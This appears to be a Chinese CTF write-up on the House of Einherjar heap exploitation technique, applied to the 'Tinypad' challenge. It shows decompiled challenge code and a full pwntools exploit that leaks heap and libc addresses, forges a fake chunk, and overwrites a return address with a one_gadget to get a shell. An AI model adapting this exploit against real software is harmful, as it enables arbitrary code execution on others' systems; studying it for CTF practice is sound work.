House of Einherjar 原理
感觉像是把好几种漏洞结合起来:
    off by one
    unlink (需要能够完全溢出到下一个堆来控制
    chunk entend or shrink; 但是细节却不相同。
该利用需要:
- chunk能够覆盖next_chunk的pre_size并修改pre_inuse位
 
- 泄露地址使得unlink 检查pre_size与size时能够绕过
 
- fake_chunk的fd 与 bk指针需要能够绕过检查
 
当我们能够覆盖nextchunk的pre_size位及pre_inuse位时,我们便可以伪造fake_chunk,之后在free next_chunk时,fake_chunk通过伪造便能绕过检查被置入bin中
Tinypad
题目
程序自己重写了许多write read函数
主要功能 add edit delete
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108
   |   do   {     for ( i = 0; i <= 3; ++i )     {       LOBYTE(c) = i + '1';       
        if ( *(_QWORD *)&tinypad[16 * (i + 16LL) + 8] )       {         v3 = strlen(*(const char **)&tinypad[16 * (i + 16LL) + 8]);         writeln(*(char **)&tinypad[16 * (i + 16LL) + 8], v3);       }       writeln("\n", 1LL);     }            write_n(     "+- MENU -----------------------------------------------------------------------+\n"     "| [A] Add memo                                                                 |\n"     "| [D] Delete memo                                                              |\n"     "| [E] Edit memo                                                                |\n"     "| [Q] Quit                                                                     |\n"     "+------------------------------------------------------------------------------+\n",     486LL);
 
 
      if ( cmd == 'D' )                           // delete     {       write_n("(INDEX)>>> ", 11LL);       idx = read_int();       if ( idx > 0 && idx <= 4 )       {         if ( *(_QWORD *)&tinypad[16 * (idx - 1 + 16LL)] )// inuse         {           free(*(void **)&tinypad[16 * (idx - 1 + 16LL) + 8]);// ptr           *(_QWORD *)&tinypad[16 * (idx - 1 + 16LL)] = 0LL;           writeln("\nDeleted.", 9LL);         }       }  
        if ( cmd = 'E' )       write_n("(INDEX)>>> ", 11LL);       idx = read_int();       if ( idx > 0 && idx <= 4 )       {         if ( *(_QWORD *)&tinypad[16 * (idx - 1 + 16LL)] )         {           c = '0';           strcpy(tinypad, *(const char **)&tinypad[16 * (idx - 1 + 16LL) + 8]);           while ( toupper(c) != 'Y' )           {             write_n("CONTENT: ", 9LL);             v6 = strlen(tinypad);             writeln(tinypad, v6);             write_n("(CONTENT)>>> ", 13LL);             v7 = strlen(*(const char **)&tinypad[16 * (idx - 1 + 16LL) + 8]);             read_until(tinypad, v7, '\n');             writeln("Is it OK?", 9LL);             write_n("(Y/n)>>> ", 9LL);             read_until((char *)&c, 1uLL, '\n');           }           strcpy(*(char **)&tinypad[16 * (idx - 1 + 16LL) + 8], tinypad);           writeln("\nEdited.", 8LL);         }
 
      {       if ( cmd != 'A' )         goto LABEL_43;       while ( idx <= 3 && *(_QWORD *)&tinypad[16 * (idx + 16LL)] )         ++idx;       if ( idx == 4 )       {         writeln("No space is left.", 17LL);       }       else       {         size = -1;         write_n("(SIZE)>>> ", 10LL);         size = read_int();         if ( size <= 0 )         {           v5 = 1;         }         else         {           v5 = size;           if ( (unsigned __int64)size > 0x100 )             v5 = 256;         }         size = v5;                              // max size =256         *(_QWORD *)&tinypad[16 * (idx + 16LL)] = v5;         *(_QWORD *)&tinypad[16 * (idx + 16LL) + 8] = malloc(size);         if ( !*(_QWORD *)&tinypad[16 * (idx + 16LL) + 8] )// 检查inuse位         {           writerrln("[!] No memory is available.", 27LL);           exit(-1);         }         write_n("(CONTENT)>>> ", 13LL);         read_until(*(char **)&tinypad[16 * (idx + 16LL) + 8], size, 0xAu);         writeln("\nAdded.", 7LL);       }     }   }   while ( cnt != 81 );   return 0; }
   | 
 
思路
因为读取输出函数都是重写的,比较麻烦,但是手动测试能够发现最低位的覆盖问题
再有在delete时仅将size清零并free chunk,没有将chunk 指针清零,UAF漏洞存在
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
   | from pwn import *   p = process("./tinypad") libc = ELF("./libc.so.6") #context.log_level = 'debug'     def add(size, content):     p.recvuntil("(CMD)>>> ")     p.sendline("A")     p.recvuntil("(SIZE)>>> ")     p.sendline(str(size))     p.recvuntil("(CONTENT)>>> ")     p.sendline(content)   def delete(index):       p.recvuntil("(CMD)>>> ")     p.sendline("D")     p.recvuntil("(INDEX)>>> ")     p.sendline(str(index))   def edit(index, content, ok=True):     p.recvuntil("(CMD)>>> ")     p.sendline("E")     p.recvuntil("(INDEX)>>> ")     p.sendline(str(index))     p.recvuntil("(CONTENT)>>> ")     p.sendline(content)     p.recvuntil("(Y/n)>>> ")     if ok:         p.sendline("Y")     else:         p.sendline("n")   #stage one add(0x80, "A"*0x80) add(0x80, "B"*0x80) add(0x80, "C"*0x80) add(0x80, "D"*0x80) delete(3) delete(1)   p.recvuntil(" #   INDEX: 1\n") p.recvuntil(" # CONTENT: ") heap = u64(p.recvline().rstrip().ljust(8, "\x00")) - 0x120 log.info("heap_base: %s" % hex(heap)) p.recvuntil(" #   INDEX: 3\n") p.recvuntil(" # CONTENT: ") main_arena = u64(p.recv(6).ljust(8, "\x00")) - 0x58 log.info("main_arena: %s" % hex(main_arena))   delete(2) delete(4)   #stage two add(0x18, "A"*0x18) add(0x100, "B"*0xf8 + p64(0x11)) add(0x100, "C"*0xf8) add(0x100, "D"*0xf8)     tinypad = 0x602040 offset = heap + 0x20 - 0x602040 - 0x20 fake_chunk = p64(0) + p64(0x101) + p64(0x602060) * 2   edit(3, "D"*0x20 + fake_chunk) zero_byte_number = 8 - len(p64(offset).strip("\x00")) for i in range(zero_byte_number+1):   data = "A"*0x10 + p64(offset).strip("\x00").rjust(8-i, 'f')   edit(1, data)     delete(2) edit(4, "D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2)   #gdb.attach(p)   #stage three libc_base = main_arena + 0x58 - 0x3c4b78 log.info("libc_base: %s" % hex(libc_base)) one_gadget =  libc_base + 0x45216 environ_pointer = libc_base + libc.symbols['__environ']   add(0xf0, "A"*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))   p.recvuntil(" #   INDEX: 1\n") p.recvuntil(" # CONTENT: ") main_ret = u64(p.recvline().rstrip().ljust(8, "\x00")) - 0x8*30 log.info("main_ret_addr: %s" % hex(main_ret)) log.info("one_gadget_addr :%s "% hex(one_gadget)) edit(2, p64(main_ret)) edit(1, p64(one_gadget)) #gdb.attach(p) p.recv()
  p.sendline('Q') p.interactive()
   |